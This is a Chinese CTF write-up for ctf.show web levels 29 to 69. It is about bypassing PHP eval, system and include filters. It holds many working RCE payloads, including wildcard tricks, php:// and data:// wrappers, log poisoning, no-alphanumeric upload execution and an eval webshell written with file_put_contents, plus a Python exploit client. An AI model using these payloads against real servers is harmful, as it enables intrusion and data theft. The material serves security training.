web29 过滤FLAG 访问网站,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); } ?>
通过代码审计发现,这里过滤了关键字 flag
,使用了i
修饰符表示不区分大小写的匹配 flag 关键字。
先试用如下 PAYLOAD 获取FLAG文件的所在位置,一般CTF比赛的FLAG都在系统的根目录下,或者网站的根目录下:
而这里就在网站根目录下名为 flag.php
,对于过滤了 flag 关键字,我们可以使用如下方法绕过:
1 2 3 4 5 6 7 8 ?c=system("nl fla?.php"); ?c=system("nl fla*"); ?c=system("nl fla[e-g].php"); ?c=system("nl fla[g].php"); ?c=system("nl fla''g.php"); ?c=system("nl fla``g.php"); ?c=system("nl fla\g.php"); ?c=system("nl fla${x}g.php");
以上代码运行之后,右键查看源代码即可看到FLAG,当然还可以使用如下方式进行绕过:
1 ?c=eval($_GET[cmd]);&cmd=system('nl flag.php');
也可以使用如下方式进行绕过:
1 ?c=$a='fla';$b='g.php';include("php://filter/read=convert.base64-encode/resource={$a}{$b}");
web30 简单的过滤-1 源码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
通过代码审计发现不区分大小写的过滤了 flag
、system
、php
等关键字。可以通过如下方法绕过:
1 2 3 4 5 6 7 8 9 10 ?c=passthru("nl fla?.ph?"); ?c=passthru("nl fla*"); ?c=passthru("nl fla[e-g].ph[o-p]"); ?c=passthru("nl fla[g].php"); ?c=passthru("nl fla''g.ph'p'"); ?c=passthru("nl fla``g.ph``p"); ?c=passthru("nl fla\g.ph\p"); ?c=passthru("nl fla${x}g.p${x}hp"); ?c=eval($_GET[cmd]);&cmd=system('nl flag.php'); ?c=$a='fla';$b='g.';$c='ph';$d='p';include("{$c}{$d}://filter/read=convert.base64-encode/resource={$a}{$b}{$c}{$d}");
web31 简单的无参RCE 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
通过代码审计发现不区分大小写过滤了flag
、system
、php
、cat
、sort
、shell
、.
、空格
、单引号
。
对于过滤了 cat
命令可以使用如下命令代替:
命令
含义
cat
从第一行开始显示全部的文本内容
tac
从最后一行开始,显示全部分文本内容,与cat相反
nl
显示文本时,输出行号
more
按页显示文件内容
less
如 more 命令差不多,也是按页显示内容
head
从头开始显示文件指定的行数,默认只显示前10行
tail
显示文件指定的结尾行数
sort
对文件内容进行排序
对于过滤了空格
可以使用如下方法代替:
符号
示例
备注
$IFS$1
cat$IFS$1/etc/passwd
$IFS
cat$IFS/etc/passwd
${IFS}
cat${IFS}/etc/passwd
{}
{cat,/etc/passwd}
%09
cat%09/etc/passwd
需要URL解码
<
cat</etc/passwd
<>
cat<>/etc/passwd
绕过方法:
1 ?c=eval($_GET["cmd"]);&cmd=show_source('flag.php');
这里尝试空格替换均无法绕过,当然这里还有一种其他方法,那就是无参读取flag.php
文件的内容。
PAYLOAD:
1 show_source(next(array_reverse(scandir(pos(localeconv())))));
下面逐个解析以上PAYLOAD所涉及的函数:
localeconv
获取数字格式信息
返回值:返回值类型为一个数组,其中数组第一个元素的值为 .
pos
current()
函数的别名,用于返回数组中的当前值(也就是数组中第一个元素的值)。
返回值: 数组中第一个元素的值
scandir
列出指定路径中的文件和目录。
返回值: 成功则返回包含有文件名的 array,如果失败则返回 **false
**。
其他参数可选,详情可见:https://www.php.net/manual/zh/function.scandir
array_reverse
返回单元顺序相反的数组
返回值: 返回反转后的数组。
next
将数组中的内部指针向前移动一位
返回值:返回数组内部指针指向的下一个单元的值,或当没有更多单元时返回 **false
**。
show_source
highlight_file
函数的别名,用于语法高亮一个文件。
以下继续对函数执行所获得的值进行分解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 show_source ( // 5 . next函数用于将array_reverse反转好的数组 指针指向第二个元素 获取的值为 flag.php 返回 next ( // 4 . array_reverse将scandir函数返回的数组进行反转 顺序为 index.php flag.php . .. array_reverse ( // 3 . scandir函数将pos函数的返回值 . 作为参数进行处理 此时scandir 返回目录文件的数组 scandir ( // 2 . pos函数获取localeconv中第一个元素的值 也就是 . pos ( // 1 . localeconv返回一个第一个元素的值为 . 的数组 localeconv () ) ) ) ) );
web32 php伪协议-1 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); } ?>
通过代码审计发现了不区分大小写的过滤了如下内容:
flag
、system
、php
、cat
、sort
、shell
、.
、空格
、'
、echo
、;
、(
、以及 反引号
绕过方法如下:
1 ?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
base64 解码之后即可得到FLAG:
其他PAYLOAD:
1 2 ?c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php");?> ?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b
web33-36 php伪协议-2 web33 源码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
不区分大小写的过滤内容如下:
flag、system、php、cat、sort、shell、.、空格、单引号、反引号、echo、分号、(、双引号
由于过滤了单引号和双引号,我们需要在一题的PAYLOAD中稍作更改,将双引号去掉即可:
1 ?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
去掉双引号之后为什么还能执行呢?只要参数中不带有空格,那么都是可以不适用单双引号进行包裹的,但是我们在开发中,一般都使用单引号或者双引号进行包裹。
当然这里还可以使用如下PAYLOAD:
1 ?c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
web37 文件包含过滤flag 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
这里不区分大小写的过滤了 flag
关键字。故而 php://filter
伪协议是不能使用的。
但是这里可以使用 data
协议:
1 2 ?c=data://text/plain,<?php system("nl fla*.php");?> ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b
当然这里也可以使用 php://input
协议,除了使用伪协议以外,我们还可以尝试包含日志进行 getshell:
通过服务器响应的 Server 字段来看,这里可以得知服务器使用的是 nginx
进行搭建的。
而 nginx 服务默认的访问日志在 /var/log/nginx/access.log
,尝试构造如下PAYLOAD:
1 ?c=/var/log/nginx/access.log
发现成功包含文件,由于我们访问的网站时,发出的请求中的 User-agent
字段会记录在该日志中,因此我们先使用 带有 一句话木马的 UA
访问一下:
接着再访问利用即可。
web38 文件包含过滤flag和php 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|php|file/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
可以看到这里不区分大小写的过滤了 php
关键字,因此 php://filter
以及 php://input
伪协议均无法使用,但是这里可以使用data协议。
PAYLOAD如下:
1 2 3 ?c=data://text/plain,<?=system('nl fla*');?> ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b // 同样这里也可以通过修改UA包含/var/log/nginx/access.log文件进行利用
由于过滤了 php
关键字,我们无法直接使用 <?php
,这里也没有开启短标签等功能,故而这里只能使用 <?=system('ls');?>
等价于 <?php system('ls');?>
。
web39 文件包含过滤flag并添加后缀 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
这里只是不区分大小写的过滤了 flag
关键字,同时在使用 include
引入的时候,对我们传入的参数c末尾自动加后缀.php
。
PAYLOAD:
1 2 3 4 5 6 7 8 9 // 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。 ?c=data://text/plain,<?php system("tac fla*");?> // 基于上一题行不通的方法: ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b 原因: 实际上解码的为 PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8+.php 无法成功解码 ?c=/var/log/nginx/access.log 原因: 实际上包含的文件为 /var/log/nginx/access.log.php
web40 无参RCE-1 源码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); } ?>
经过代码审计发现过滤内容如下:
0-9之间的数字、~、反引号、@、#、$、%、^、&、*、中文的左括号、中文的右括号、-、=、+、{、[、]、}、英文冒号、单引号、双引号、逗号、<、>、/、?、\\
这里由于过了了单引号、双引号、以及=和+,但是幸运的是这里过滤的是中文的括号,因此这里只是一个无参的读取文件内容。
这里可以使用web31的PAYLOAD:
1 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
当然这里还有新的PAYLOAD,利用sessionId
进行传参。PAYLOAD如下:
1 ?c=session_start();system(session_id());
释义:
首先使用session_start()
函数开启session,其实使用session_id()
函数获取Cookie字段中的PHPSESSID
属性的值。最后交给 system()
函数执行。但是这种方法有局限性,由于 sessionId
只能是数字+字母,不能有特殊字符,故而不能使用该方法执行 nl flag.php
等命令。因此该方法仅做了解。
其他 PAYLOAD:
先获取所有变量:
1 ?c=print_r(get_defined_vars());
发现存在 _GET
、_POST
、_COOKIE
、_FILES
变量,那么我们利用POST方法传入参数 cmd
。
接着使用 next()
函数改变数组的位置,指向数组中的第二个元素,此时取到变量 _POST
的数组。
1 ?c=print_r(next(get_defined_vars()));
使用 pos
、current
、以及 array_pop
都可以取得数组中第一个元素的值,即 phpinfo();
。
array_pop
将元素从数组末尾弹出
返回值:返回array
中最后一个元素的值,如果array
为空, null
则返回。
1 ?c=print_r(array_pop(next(get_defined_vars())));
接着使用 eval
或者 assert
函数执行即可。
最终获取FLAG的PAYLOAD:
1 ?c=assert(array_pop(next(get_defined_vars())));
web41 无字母数字RCE 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
通过代码审计过滤内容如下:
0-9、a-z、^、+、~、$、[、]、{、}、&、-
这个题过滤了$、+、-、^、~
使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
。
这里借用 羽师傅的PHP脚本生成 rce_or.txt
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
。运行以上脚本之后会生成 rce_or.txt
文件。
rce_or.txt 部分内容如下:
那么为什么 %60 | %01
就得到字母a呢?其实这里我们需要将 %60
和 %01
转为十进制 ,之后进行 or
运算即可得到97。
而 ASCII 码 97 转为字符为a
。
接着使用 羽师傅的 Python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport urllibfrom sys import *import osos.system("php rce_or.php" ) if (len (argv)!=2 ): print ("=" *50 ) print ('USER:python exp.py <url>' ) print ("eg: python exp.py http://ctf.show/" ) print ("=" *50 ) exit(0 ) url=argv[1 ] def action (arg ): s1="" s2="" for i in arg: f=open ("rce_or.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" )) data={ 'c' :urllib.parse.unquote(param) } r=requests.post(url,data=data) print ("\n[*] result:\n" +r.text)
食用方法:
当我们执行 system("ls")
的时候,实际发送的PAYLOAD为:
在PHP7中,可以使用如下方法执行函数:
1 2 3 4 <?php ('system' )('whoami' ); ('phpinfo' )(); ?> ]
web42 输出重定向-1 源码如下:
1 2 3 4 5 6 7 8 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); } ?>
假设我们传入 ?c=ls
则实际执行的命令为:
也就是说将 ls
命令执行的结果写入到了 /dev/null
文件中,在 Linux 系统中,/dev/null
是一个特殊的文件,被称为空设备,该文件对所有人都是 只可写不可读 的状态,你会发现不管在该文件中写入什么样的内容,最终读的时候,内容始终为空。
这里我们通过如下方法即可绕过:
web43 输出重定向-2 源码如下:
1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
我们可以使用上一题的PAYLOAD:
1 2 ?c=nl flag.php|| ?c=nl flag.php%0a
但是这里过滤了 ;
,上一题的 ;
PAYLOAD 是无法使用了的。
web44 输出重定向-3 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
这里只是比上一题多过滤了 flag 关键字,绕过方法如下:
1 2 ?c=nl fla?.php|| ?c=nl fla*%0a
web45 输出重定向-4 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一关多过滤了 空格
,至于空格我们可以使用 $IFS
、${IFS}
、$IFS$9
、%09
、{}
、<
、<>
等方式代替。
PAYLOAD:
1 2 3 ?c=nl$IFS$1fla?.php|| ?c=nl%09fla*%0a ?c=echo$IFS`tac$IFS*`%0A
web46 输出重定向-5 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一关多过滤了 0-9
、$
、以及 *
。
PAYLOAD:
1 2 3 4 ?c=nl%09fla?.php|| ?c=nl%09fla\g.php%0a ?c=nl<fla''g.php|| # 不能使用的: ?c=nl<fla?.php|| 原因是<不支持通配
web47 输出重定向-6 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一题多过滤了 文件读取命令的相关命令,比如 more
、less
、head
、sort
、tail
。
可以直接使用上一题的PAYLOAD去打。
web48 输出重定向-7 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一关多过滤了 sed
、cut
、awk
、strings
、od
、curl
、反引号
等字符。
依旧可以使用上一题的PAYLOAD。
web49 输出重定向-8 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一关多过滤了 %
,因此%09
、%0a
无法使用。
PAYLOAD:
web50 输出重定向-9 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一关多过滤了 \x09
、\x26
。
依旧可以使用上一关的PAYLOAD。
web51 输出重定向-10 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡跟上一关好像没区别…
web52 输出重定向-11 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一关多过滤了 >
、<
字符,但是把 $
放出来了。
PAYLOAD:
与上关不同的是,虽说网站根目录存在 flag.php
文件,但是文件内容为空。其真实的 flag 在根目录下。
web53 输出重定向-12 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; } }else { highlight_file (__FILE__ ); } ?>
PAYLOAD:
这里也可以使用如下PAYLOAD:
1 ?c=ca''t${IFS}fla''g.p''hp
web54 过滤所有读取文件命令 源码如下:
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); } ?>
通过代码审计发现这里过滤了 ;
,cat
、flag
、空格
、0-9
、*
、more
、wget
、less
、head
、sort
、tail
、sed
、cut
、tac
、awk
、strings
、od
、curl
、nl
、scp
、rm
、反引号
、%
、\x09
、\x26
、>
、<
其中因为有了类似于 .*c.*a.*t.*
这种规则,我们的 ca''t
则无法绕过。下面放张图:
发现无论ca
和t
之间中间有什么字符都能匹配到,故而 ca''t
无法绕过。
这里就需要知道cat
命令存储的位置了,一般情况下,Linux内置的命令都存储在 /bin
目录下。
我们可以使用通配符去匹配 /bin
目录下的 cat
命令。
PAYLOAD:
1 ?c=/bin/?at${IFS}f???????
web55 无字母RCE-1 源码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); } ?>
通过代码审计发现过滤了 ;
、a-z
、反引号
、%
、\x09
、\x26
、>
、<
。
但是 并没有过滤 .
、?
、*
符号。
当我们向服务器 POST 一个文件时,此时该文件会短暂的存储在 服务器的 /tmp
目录下,名称为:php+6个随机字符
请看示例:
这里我们准备如下HTML源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Upload</title> </head> <body> <form action="http://172.20.10.2/index.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <br> <input type="submit" name="submit"> </form> </body> </html> <?php sleep(10); // 为了让程序不那么快结束 ?>
准备一个名为 hello.txt
的文件,内容为:hello world Hello X1ong!!!
将该文件通过文件上传接口,上传到 172.20.10.2
当中,可以看到,已经传输到服务器的 /tmp
目录下,上传之后的保存的文件名为 php+6位随机字符
。
不过,该文件会在PHP程序执行完毕之后自动删除。
程序运行结束之后,文件删除:
假设我们有一个名为 xx.txt
的文件,文件内容如下:
我们编写文件上传HTML代码,将服务器 地址指向靶机地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > File Upload</title > </head > <body > <form action ="http://4b268dea-539c-46a0-99af-39cf52af50e9.challenge.ctf.show/" > <label for ="#file" > <input type ="file" id ="file" name ="file" > <input type ="submit" name ="submit" value ="submit" > </label > </form > </body > </html >
我们使用BP抓取上传 xx.txt
的数据包:
没回显的话多发几次。
POC解读:
在Linux中我们可以使用 .
代替 source
命令去执行 shell 脚本。如下:
其中的 ?
表示通配符。+
为url编码中的空格。?
则是Linux中的通配符。
因此 .+/???/????????[@-[]
其实就是 . /tmp/php6个随机字符
后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母,表示一个范围,从ASCII字符中大写字母在@
至[
之间,故而写成[@-[]
。
具体参见P神文章: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
web56 无字母数字RCE-1 源码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); } ?>
本关卡比上一关多过滤了 0-9
、$
、(
、{
、单引号
、双引号
,但是没有过滤 ?
、/
、以及 [
、]
,因此还可以使用上一题的方式进行解题:
web57 无字母数字RCE-2 源码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); } ?>
经过代码审计发现这里还是个无字母数字的命令执行。
比上一题多过滤了 .
、,
、?
、*
、-
、=
、[
,因此基于上一题的做法是行不通的。
这里根据提示 flag 在 36.php
中,因此这里我们只需要传入 ?c=36
即可查看FLAG。
但是!!!
这里不允许传入数字。我们该怎么构造得到数字36呢?看了一下,发现放出了 $
、()
、~
。
那么这里我们可以使用 Linux 的 $(())
构造出36。
1 2 $(())=0 $((~ $(()) ))=-1
(())
是用来整数运算的命令,内部可以放表达式,默认相加,通过 $((36))
可得36
,如果使用 $((~37))
取反为 -37
。
36 可以通过外层为 $(())
包裹内层可以运算出36的表达式构造,36由-37取反得到,所以
$((~$(( ))))
的内部加上37个 $((~ $(()) ))
得到 -37,最终在使用开头的取反,得到36 。
PAYLOAD:
1 ?c=$((~ $(($((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) )))) ))
web58 函数禁用-1 源码如下:
1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); } ?>
经过检测发现过滤了很多函数,但是 show_source
和 highlight_file
函数并没有禁用,可以直接读取 flag.php 文件的内容。
当我们这里经过测试,发现 file_get_contents
等函数其实也可以进行文件读取。
1 2 3 4 5 6 c=echo file_get_contents ("flag.php" ); c=readfile ("flag.php" ); c=var_dump (file ('flag.php' )); c=print_r (file ('flag.php' )); c=file_put_contents ('shell.php' ,'<?php @eval($_POST["cmd"]);?>' );
web59 函数禁用-2 源码如下:
1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); } ?>
这里可以使用 file_put_contents
函数向目标服务器写入 webshell
进行连接,从而获取 FLAG 值。
其他 PAYLOAD:
1 2 3 4 c=var_dump (file ('flag.php' )); c=print_r (file ('flag.php' )); c=show_source ('flag.php' ); c=highlight_file ('flag.php' );
web60-65 函数禁用-3 源码如下:
1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); } ?>
这里依旧可以使用 file_put_contents
函数获取服务器的 webshell 权限。但是这里由于禁用了某些函数导致拿到shell之后,无法通过中国蚁剑工具进行查看或下载 flag 文件。
其他 PAYLOAD:
1 2 c=show_source ('flag.php' ); c=highlight_file ('flag.php' );
web66-67 函数禁用-4 源码如下:
1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); } ?>
这里使用 show_source
提示函数被禁用,接着使用 highlight_file
函数发现可以读取 flag.php
但是里面并没有FLAG值。
尝试使用 scandir
函数读取当前目录,发现并无其他文件:
1 c=print_r (scandir ('.' ));
接着尝试使用 scandir
函数读取服务器的根目录下内容:
发现根目录存在 flag.txt
文件,这里我们可以使用 highlight_file
函数 或 include
以及 require
函数进行读取。
PAYLOAD:
1 2 3 4 5 c=highlight_file ('/flag.txt' ); c=include ('/flag.txt' ); c=include_once ('/flag.txt' ); c=require ('/flag.txt' ); c=require_once ('/flag.txt' );
web68 函数禁用-5 访问页面,提示如下:
很明显,highlight_file
函数被禁用了。
这里依旧可以使用 scandir
函数列出,最终 FLAG 在根目录下,名为 flag.txt
,使用上一题 PAYLOAD 读取即可。
PAYLOAD:
1 2 3 4 c=include ('/flag.txt' ); c=include_once ('/flag.txt' ); c=require ('/flag.txt' ); c=require_once ('/flag.txt' );
web69 函数禁用-6 访问页面,提示如下:
尝试使用 scandir()
函数获取当前目录下的内容,发现打印数组的函数 var_dump
和 print_r
被禁用,于是只能使用 foreach
进行遍历数组中的元素打印:
1 c=foreach (scandir ('.' ) as $file ) {echo $file . "<br/>" ;};
发现这里存在 flag.php
文件。尝试使用 include
配合 php://filter
伪协议进行读取 flag.php
文件的内容:
1 c=include ('php://filter/read=convert.base64-encode/resource=flag.php' );
接着读取服务器根目录下的文件:
1 c=foreach (scandir ('/' ) as $file ) {echo $file . "<br/>" ;};
发现存在 flag.txt
。
其实这里还可以使用 var_export
PAYLOAD:
